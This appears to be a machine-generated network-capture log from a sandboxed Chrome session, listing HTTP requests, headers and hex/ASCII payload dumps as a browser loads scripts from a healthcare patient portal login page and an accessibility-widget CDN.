2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 5e 76 3b 9a 5f 34 1b 4f 01 0f 7c d1 b1 a3 47 5c d7 f9 73 6e f1 7d f7 bb 07 ef 5f 12 9b f7 c3 60 0a ed 84 d1 06 4e c7 c3 82 2a 8d 15 5b f9 6a 28 ed e3 1b 6f 1d 70 8f af 5b 1d 68 1c 05 65 34 f7 56 d4 d2 34 a8 52 54 22 1c ae fa 95 33 68 69 8b cf 59 05 7b cf 9c e9 e4 88 02 00 46 a5 ef 6a 33 99 93 a7 38 4a 00 00 24 13 01 2c 00 00 92 ed bb cc 2f 00 20 69 54 51 69 fc f8 09 5e d0 6a 6a 6a b2 9b 34 69 62 5e e1 8b 39 0d 5f 6c 5f a5 2a 45 5d 17 b2 ee f8 b1 e3 25 6d 19 64 11 b6 28 76 c1 5f fb 7c e5 4a cf cd 30 9a 8c 1f 37 d6 4d bf 7b 5a 68 01 16 55 57 b1 0a 71 28 64 67 65 a4 40 83 05 bd 9e ce 9d eb 8a 7c 8b c8 b8 d3 fc ed dd d3 e6 8e 1f 3b ea 96 35 36 7a 2d ea e2 16 c4 6a de fe 92 6b 6c 5c 6e f6 5a 54 85 28 8b 63 a0 80 e2 9e 3d 7b 4c b6 c9 a7 f3 c0 7d 4b 16 ba 6f de Data Ascii: ^v;_4O\|G\sn}_`N[j(op[he4V4RT"3hiY{Fj38J$,/ iTQi^jjj4ib^9_l_E]%md(v_\|J07M{ZhUWq(dge@\|;56z-jkl\nZT(c={L}Ko
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: e1 ab c1 8a 69 3f 09 00 09 a6 b5 10 02 58 00 80 bc 11 c0 02 00 00 40 c5 f1 2b 39 0d 6e 39 67 49 63 ea 8b 6b 8d af 20 d6 de 3d 6d 91 3a c4 a9 d4 94 bc 02 4d f9 86 94 ac 7d 7a ed 9a fb e0 d0 61 af 95 8b f5 62 59 31 61 32 2d 86 54 55 57 7b 15 14 8a a1 05 95 65 cb 96 99 b6 65 51 3b 95 30 5b 32 02 00 00 a0 30 ba 36 d3 35 5a a9 af 9d c3 a4 fd c9 27 84 e3 b7 6d 8f 03 bf d2 93 aa 8a 75 5d c8 06 fe 7d d0 6f 4d 5f 2c fd 7e d2 bc fd a5 48 1d 39 bf fd e4 dc b9 df 77 3b 9a 9b a9 86 05 00 00 00 e4 89 00 16 00 a0 50 8b 39 62 00 e2 2a ec e0 d5 50 7e 10 2b 3d ab de b5 b4 b4 9a b4 a6 b0 30 73 66 fd 88 15 9d 74 8c 66 a5 67 8f d8 96 2f 4c 5a e0 e9 38 fc eb 50 ee b4 f6 e7 5e f3 51 8c c7 d7 ad 76 b3 ea 67 b8 f6 83 6f e7 15 7c f2 8f e3 fc 79 73 43 59 84 d3 76 00 00 00 20 5a 5a Data Ascii: i?X@+9n9gIck =m:M}zabY1a2-TUW{eeQ;0[2065Z'mu]}oM_,~H9w;P9b*P~+=0sftfg/LZ8P^Qvgo\|ysCYv ZZ
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 57 f5 6b a0 61 fd fe d2 ba 74 e5 67 4a c9 f7 3d 88 a3 94 4b 11 0a c3 c4 e5 cb 5c ab b2 45 58 46 ba e4 a4 c3 8a b2 61 44 c9 64 77 2b b3 9c 4a 4a bb 92 c9 ee 56 39 2a 6d ba 33 ad 6a 83 54 80 25 58 e8 f7 23 c2 6a e3 42 e6 45 34 d4 e6 18 ef c2 16 b1 3b 91 44 68 e3 51 1d e2 54 cb 62 13 60 f9 92 0a a9 77 a5 24 94 fc a0 ec f3 48 5a 90 34 94 fd a2 b1 c5 54 15 da 08 ae 25 c3 8c 50 42 49 e0 12 00 39 ce 8b 84 e3 e7 e2 63 f2 21 c2 72 ba c4 32 8e 59 7a c5 59 3a 45 58 cd 37 39 b7 07 b8 12 61 d9 cf 75 d9 b7 dd 08 b0 5a be 9b f9 f9 93 b4 9c b1 58 90 d5 d8 70 9e 9a 9a 2e 59 ff 16 a3 9e 1e 54 da 46 91 08 2b f3 b6 ca 8d c8 ed 50 da 63 7a 38 97 1a 12 a9 54 85 7b 0e 95 d2 ee 2f 90 aa 10 e8 87 9d 93 1e f8 ce 8c a2 7e 0e 85 40 c7 19 9e 43 c8 87 93 d9 1f df 78 8b 36 6e d8 d0 46 Data Ascii: WkatgJ=K\EXFaDdw+JJV9*m3jT%X#jBE4;DhQTb`w$HZ4T%PBI9c!r2YzY:EX79auZXp.YTF+Pcz8T{/~@Cx6nF
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 81 2b 93 57 8a 86 ea 96 2a 66 70 00 29 76 b7 ed 2e 93 c5 b3 88 15 1e 33 56 5f 69 55 b1 aa ff 1f 2e ea ef 5e fd d5 14 db 7e 5d 35 58 56 e3 8f 79 af 90 b8 0e 55 db d6 31 63 7f 52 06 23 fc 38 d2 81 52 17 49 d1 50 ff 35 38 dd 39 14 8d 55 8e 59 79 6d f7 3d 1f b2 d9 4e 68 6b 1f 09 99 96 f6 40 dc 9e 3f d0 67 34 5c 55 42 38 ab 8e 2a ad ee 34 54 bf 39 7c d0 ab 30 73 dc cb 30 63 ea 7b 20 d3 fa 1e 78 7e e7 eb 16 7d 61 1a 99 b7 df 7e 1b 1e dc fc 00 fc f7 9f 1f 87 d9 b3 67 c1 e0 c1 83 ab 7a 1b b8 0e 5d 7e 05 3c fe d8 63 75 db 92 6d db 9e 86 3b ee b8 23 98 07 9a 38 71 42 cd da 5d bf 7e 43 30 bf 52 2b c4 43 7f 57 7d ed ab 30 62 c4 f0 9a b5 19 22 e6 b9 4e 38 e1 04 78 f8 91 47 e0 c5 5d bb 48 62 0a 17 af 85 e7 7c 8a 24 56 c8 8d df f9 1e 3c fe 78 fd 8e 45 86 39 48 19 7e cb Data Ascii: +Wfp)v.3V_iU.^~]5XVyU1cR#8RIP589UYym=Nhk@?g4\UB84T9\|0s0c{ x~}a~gz]~<cum;#8qB]~C0R+CW}0b"N8xG]Hb\|$V<xE9H~
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 35 41 ed 3c 8b ea ae c6 41 c3 52 85 d2 f7 d1 21 eb ec dc 58 c7 5d e9 17 ff 90 5d e1 fa bf cc ea 55 05 cf ae 51 ba 9b 19 ab 2b a7 fe fb 0a 17 cf e8 bb 8f bc 46 63 b9 8f be 10 fa 91 50 bc b8 bb bc f1 40 d2 92 eb 84 8e ae 29 d0 d1 35 09 5a b2 83 14 23 41 d0 d9 e2 be c1 54 74 cc fa 7d 30 77 c2 13 b0 f4 33 1e 7c f0 a8 43 d2 f7 81 21 45 b8 61 89 65 a0 f0 85 0b 97 c0 f1 3d dd a4 5b 7b fd ea 35 81 3b be 4b 4e 3b fd 0c e3 87 3e 43 11 16 97 23 64 18 a6 09 e0 dc 36 c3 10 c2 02 2c 86 a1 e5 71 1e 4f 86 61 98 fa 22 9e 2c bb e1 86 ef 90 f5 41 94 21 64 18 19 c7 1d 7b 18 5c 7e e1 10 38 f9 03 cf c7 de 8d df 62 97 53 f2 6a c1 15 ee b6 dc d6 f9 a6 2c bc 9a 01 2d b9 e1 56 31 50 ed 19 26 53 4d 73 a0 15 82 23 55 12 14 99 1c ed 97 37 f8 64 19 c0 c0 d0 47 22 9a d0 ae 63 d4 ae 59 Data Ascii: 5A<AR!X]]UQ+FcP@)5Z#ATt}0w3\|C!Eae=[{5;KN;>C#d6,qOa",A!d{\~8bSj,-V1P&SMs#U7dG"cY
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 3f 24 56 5c e8 2f 40 1c cf 86 e1 91 03 21 1a 98 dd 4e a4 0c 11 56 9c a9 ef 04 e9 68 23 a9 0f 73 41 11 5b 68 83 88 16 61 70 99 68 74 84 b9 c9 cb 1f aa 72 c1 ca 7c ad 26 b8 ea c8 03 5f b4 d2 8c 82 27 d0 b9 84 ca 24 3a cb 55 89 00 0b 70 49 05 b2 10 86 09 b0 80 5c 83 e2 8b a3 70 52 e9 84 46 e2 61 2c 28 46 21 63 26 9e 18 b2 01 5f 54 c4 cf 19 c9 81 46 be 0f 74 c1 ea 18 3b 04 d9 77 89 b0 92 b6 ac d9 d1 a4 1a 01 56 4e 7a 2a e4 39 77 20 db 08 01 16 26 60 c3 ae 0b 94 cc c2 ed e3 5b 88 97 85 9b 4a f5 cb 8e f0 82 f4 5e 79 69 15 86 d2 b9 31 3b 27 29 74 49 7e 83 7c 4f ee d4 95 11 27 11 3e 53 a7 b9 a6 d0 41 d0 67 72 5c b0 82 35 13 10 ee 82 c5 11 5c 05 66 01 71 1c 13 a2 71 a9 50 82 57 50 ae 0b 96 76 18 42 0c b6 00 2b 8a 08 a7 4b 2a a3 c2 45 0d 80 92 83 69 08 b0 f2 8e 39 Data Ascii: ?$V\/@!NVh#sA[haphtr\|&_'$:UpI\pRFa,(F!c&_TFt;wVNz9w &`[J^yi1;')tI~\|O'>SAgr\5\fqqPWPvB+KEi9
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: ca 28 cc ea 57 0d 91 00 4b 64 a7 9a 27 ce ca ce b1 f1 63 df 77 02 2c 08 3b 66 bb 5e da 0e 5b 9f 7b b4 19 9a b0 a8 00 ab bb b7 fb 5b c7 ed b3 73 62 18 be 32 7e 10 6c d8 f8 38 3b 4f 63 8a 10 11 d6 74 12 5f 5d f7 f1 1b e0 9b 77 7d a3 94 b4 7d 9c b7 6c 39 bc e7 92 15 ac 7d ec 39 b3 61 cc 78 12 a7 ac 5f 9a 28 cb e8 67 4c 80 65 f4 3c 26 b6 32 0c c3 85 cb 5b b1 72 65 69 37 a0 3e 42 04 4d 75 e0 da 62 ed da 3b d1 87 03 ce b2 79 c3 86 87 9a 61 16 13 5e bd f4 28 38 e2 88 c3 d5 1c af 12 9c 60 6d e5 c5 97 98 bd b3 90 f9 f3 e7 c1 79 6f 7d 19 fc c1 ab f2 c5 57 3e c1 55 16 ae 00 2b 72 6f 8d 67 56 ae e2 78 36 0c 8d 1c 08 71 3c 42 e4 53 fe dc 51 e2 9a 15 ea 82 55 58 d0 e3 7b a6 9c d3 f4 fc d0 8d 94 db 42 8e 3b 16 99 ae 02 d9 70 63 05 12 15 2d e8 56 20 83 22 d7 13 4b cf 5d Data Ascii: (WKd'cw,;f^[{[sb2~l8;Oct_]w}}l9}9ax_(gLe<&2[rei7>BMub;ya^(8`myo}W>U+rogVx6q<BSQUX{B;pc-V "K]
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 55 ba 59 1a 4b 52 37 0a ad f5 e9 c5 46 ec 62 3d 24 84 d3 8b 43 c3 e8 aa 0c 58 fa b3 aa 88 2c eb 2b b6 5b 19 42 0b b7 d8 1c 61 10 32 40 6a fd 60 5b d2 c2 0f c4 75 0c 1a 7d 49 d5 61 65 b1 38 16 89 da 2f 73 10 72 f7 99 ec 8b 93 89 dd dc bf a1 47 5f 84 d0 27 34 fb 23 c2 0d 68 b1 19 20 bd 3a a5 9f 8b 06 73 28 22 07 71 70 9b cd 80 d4 01 1b 09 49 6d 79 d8 b8 40 4f 13 39 17 f4 4c 3c 43 19 8b 4d 4c 03 44 1b 77 fb ba a9 30 dc 8e 93 3c 91 1d 6b 32 de 97 86 31 67 f1 09 70 fa 90 38 cd 76 2f a3 41 75 66 cd 0c a4 ae bf 63 a7 e9 66 0c b0 e9 72 4e 75 70 8e 0a f5 a3 31 fd 8a 9b 1e b7 43 af be 91 1a 76 16 9b 26 79 84 c4 56 f9 f4 9d 6c 32 56 bd 16 6c 45 c3 81 97 cb 99 ad 23 73 21 69 2d 09 b8 2f 29 cf a5 20 ea aa 0d 45 30 e9 3c 42 65 0c 51 de 26 13 61 96 de 9c 54 eb 19 af c6 Data Ascii: UYKR7Fb=$CX,+[Ba2@j`[u}Iae8/srG_'4#h :s("qpImy@O9L<CMLDw0<k21gp8v/AufcfrNup1Cv&yVl2VlE#s!i-/) E0<BeQ&aT
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 76 09 45 28 8c 51 6e 90 0b 2f 54 89 08 b0 84 4a 19 1a 5a f3 f4 e0 e0 ac 57 94 52 12 c0 5e 18 f1 68 97 b6 4b 16 2f 62 2f c6 55 cb 56 c4 b1 d8 ab 44 ef 92 28 03 75 b7 8c 30 ba 98 3c 79 52 4a 7c 55 02 ea 56 bf 20 54 b5 de bd 55 58 db 15 71 4e a4 b8 d4 29 94 a5 9c f6 69 e3 c0 f0 1b dd 9a fd f3 2e 82 41 70 65 13 2e 71 89 af e2 9a b4 b9 34 23 54 b3 c9 13 16 4d 84 95 ce 40 b9 f2 e6 8b 92 f1 e8 c5 28 0e 93 30 3c dd 49 1c 86 d0 87 5e d1 83 08 32 b1 c9 2a cc d2 de f6 44 e8 d5 31 22 5d ff 9c fd 8c 20 08 4d 5e 7c a3 de 67 fe 8f f5 e3 e3 43 73 e2 d4 fa b8 fd bf 1f f2 52 dc 97 be 63 ff 97 70 15 c6 3c 2e 32 9a ca ae 33 d3 6c 58 fe 55 c6 6a 3a 5b 6b ff 73 92 fa f6 a3 bb 37 ff fd 93 17 fa 98 d2 11 c6 2a 3f fe 53 cb a3 f3 8f 7f b6 8f 7a ef ee 7b c6 bf e7 c5 58 6d 2d 13 f0 Data Ascii: vE(Qn/TJZWR^hK/b/UVD(u0<yRJ\|UV TUXqN)i.Ape.q4#TM@(0<I^2D1"] M^\|gCsRcp<.23lXUj:[ks7?Sz{Xm-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50100	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	575	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:09 UTC	880	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: application/json Content-Length: 212 Connection: close x-guploader-uploadid: ABPtcPpeZPkLOmWjU8fnVqP9PmemnSkyFY41Jn4sXreV6Lu6G4oZyTW0bj2V5lOPc7ValKe1Jz5lbEYC_w x-goog-generation: 1713916803534148 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Thu, 24 Apr 2025 12:45:09 GMT Cache-Control: no-cache last-modified: Wed, 24 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 87963054cf190a01-LAS
2024-04-24 12:45:09 UTC	212	IN	Data Raw: 5b 0a 20 20 22 6c 6f 63 61 6c 74 69 6d 65 6c 69 6e 65 2e 63 6f 6d 22 2c 0a 20 20 22 72 65 61 6c 70 61 67 65 2e 63 6f 6d 22 2c 0a 20 20 22 70 67 61 72 65 73 6f 72 74 2e 63 6f 6d 22 2c 0a 20 20 22 62 61 6d 62 61 62 61 6d 62 61 2e 63 6f 6d 22 2c 0a 20 20 22 63 73 76 74 65 73 74 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 22 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 22 2c 0a 20 20 22 64 32 68 6d 61 67 64 65 68 79 65 79 67 6d 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 22 2c 0a 20 20 22 62 72 61 6e 63 68 69 6e 67 6d 69 6e 64 73 2e 63 6f 6d 22 2c 0a 20 20 22 6d 65 64 69 63 61 74 2e 63 6f 6e 63 65 72 6e 63 65 6e 74 65 72 2e 63 6f 6d 22 0a 5d Data Ascii: [ "localtimeline.com", "realpage.com", "pgaresort.com", "bambabamba.com", "csvtesting.com", "cloudfront.net", "d2hmagdehyeygm.cloudfront.net", "branchingminds.com", "medicat.concerncenter.com"]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50101	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	776	OUT	GET /portal14763/script/newLogin/common.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:09 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: text/javascript Content-Length: 21015 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:09 GMT Accept-Ranges: bytes ETag: W/"21015-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:09 UTC	15923	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 2f 2f 20 24 28 27 2e 73 65 63 74 69 6f 6e 68 67 74 27 29 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 28 7b 0a 09 2f 2f 20 09 74 68 65 6d 65 3a 20 22 6d 69 6e 69 6d 61 6c 2d 64 61 72 6b 22 0a 09 2f 2f 20 7d 29 3b 0a 0a 20 20 20 20 73 68 6f 77 48 69 64 65 4d 6f 64 75 6c 65 73 28 29 3b 0a 20 20 20 20 2f 2f 20 4c 6f 61 64 65 72 20 6f 6e 20 63 6c 69 63 6b 0a 20 20 20 20 24 28 27 2e 73 75 62 6d 69 74 64 61 74 61 27 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 20 20 20 20 0a 20 20 20 20 20 20 20 20 24 28 22 23 76 61 6c 69 64 61 74 65 44 65 74 61 69 6c 22 29 2e 73 68 6f 77 28 29 2e 64 65 6c 61 79 28 31 30 30 30 29 2e 68 69 Data Ascii: $(document).ready(function () { // $('.sectionhgt').mCustomScrollbar({// theme: "minimal-dark"// }); showHideModules(); // Loader on click $('.submitdata').on('click',function(){ $("#validateDetail").show().delay(1000).hi
2024-04-24 12:45:09 UTC	5092	IN	Data Raw: 63 65 73 73 57 69 64 67 65 74 53 68 6f 77 6f 72 48 69 64 65 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 6e 61 62 6c 65 48 65 61 6c 6f 77 41 64 57 69 64 67 65 74 3d 24 28 22 23 65 6e 61 62 6c 65 48 65 61 6c 6f 77 57 69 64 67 65 74 22 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 2f 2f 20 20 20 65 6e 61 62 6c 65 48 65 61 6c 6f 77 41 64 57 69 64 67 65 74 3d 22 66 61 6c 73 65 22 3b 0a 20 20 20 20 20 20 20 20 69 66 28 65 6e 61 62 6c 65 48 65 61 6c 6f 77 41 64 57 69 64 67 65 74 3d 3d 22 74 72 75 65 22 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 2e 61 6a 61 78 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 72 6c 3a 22 6f 70 65 6e 41 63 63 65 73 73 57 69 64 67 65 74 2e 6a 73 70 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: cessWidgetShoworHide() { var enableHealowAdWidget=$("#enableHealowWidget").val(); // enableHealowAdWidget="false"; if(enableHealowAdWidget=="true"){ $.ajax({ url:"openAccessWidget.jsp",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50102	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	775	OUT	GET /portal14763/script/newLogin/index.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:09 UTC	434	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: text/javascript Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:09 GMT Accept-Ranges: bytes ETag: W/"554-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:09 UTC	554	IN	Data Raw: 2f 2f 20 73 68 6f 77 20 54 6f 70 20 62 75 74 74 6f 6e 20 6f 6e 20 73 63 72 6f 6c 6c 20 61 6e 64 20 6d 6f 76 65 20 74 6f 20 74 6f 70 20 6f 6e 20 63 6c 69 63 6b 20 6f 6e 20 62 75 74 74 6f 6e 0a 76 61 72 20 74 6f 70 44 69 73 74 61 6e 63 65 20 3d 20 24 28 27 2e 70 61 72 61 6c 6c 61 78 2d 77 72 61 70 70 65 72 20 2e 70 61 72 61 6c 6c 61 78 2d 73 65 63 74 69 6f 6e 3a 66 69 72 73 74 27 29 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 2c 0a 20 20 20 20 69 6e 64 65 78 20 3d 20 24 28 27 62 6f 64 79 27 29 2c 0a 20 20 20 20 62 74 6e 4d 6f 76 65 55 70 20 3d 20 24 28 27 2e 70 61 72 61 6c 6c 61 78 2d 77 72 61 70 70 65 72 20 2e 67 6f 2d 75 70 27 29 3b 0a 20 20 20 20 62 74 6e 4d 6f 76 65 55 70 2e 68 69 64 65 28 29 3b 0a 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c Data Ascii: // show Top button on scroll and move to top on click on buttonvar topDistance = $('.parallax-wrapper .parallax-section:first').offset().top, index = $('body'), btnMoveUp = $('.parallax-wrapper .go-up'); btnMoveUp.hide();$(window).on('scroll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50103	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	789	OUT	GET /portal14763/script/jquery.maskedinput-1.4.1.min.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:09 UTC	459	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:09 GMT Content-Type: text/javascript Content-Length: 4330 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:09 GMT Accept-Ranges: bytes ETag: W/"4330-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:09 UTC	4330	IN	Data Raw: 2f 2a 0d 0a 20 20 20 20 6a 51 75 65 72 79 20 4d 61 73 6b 65 64 20 49 6e 70 75 74 20 50 6c 75 67 69 6e 0d 0a 20 20 20 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 37 20 2d 20 32 30 31 35 20 4a 6f 73 68 20 42 75 73 68 20 28 64 69 67 69 74 61 6c 62 75 73 68 2e 63 6f 6d 29 0d 0a 20 20 20 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 28 68 74 74 70 3a 2f 2f 64 69 67 69 74 61 6c 62 75 73 68 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 73 2f 6d 61 73 6b 65 64 2d 69 6e 70 75 74 2d 70 6c 75 67 69 6e 2f 23 6c 69 63 65 6e 73 65 29 0d 0a 20 20 20 20 56 65 72 73 69 6f 6e 3a 20 31 2e 34 2e 31 0d 0a 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e Data Ascii: /* jQuery Masked Input Plugin Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com) Licensed under the MIT license (http://digitalbush.com/projects/masked-input-plugin/#license) Version: 1.4.1*/!function(a){"function"==typeof defin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50104	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	767	OUT	GET /portal14763/script/moment.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:10 UTC	463	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: text/javascript Content-Length: 150941 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:10 GMT Accept-Ranges: bytes ETag: W/"150941-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
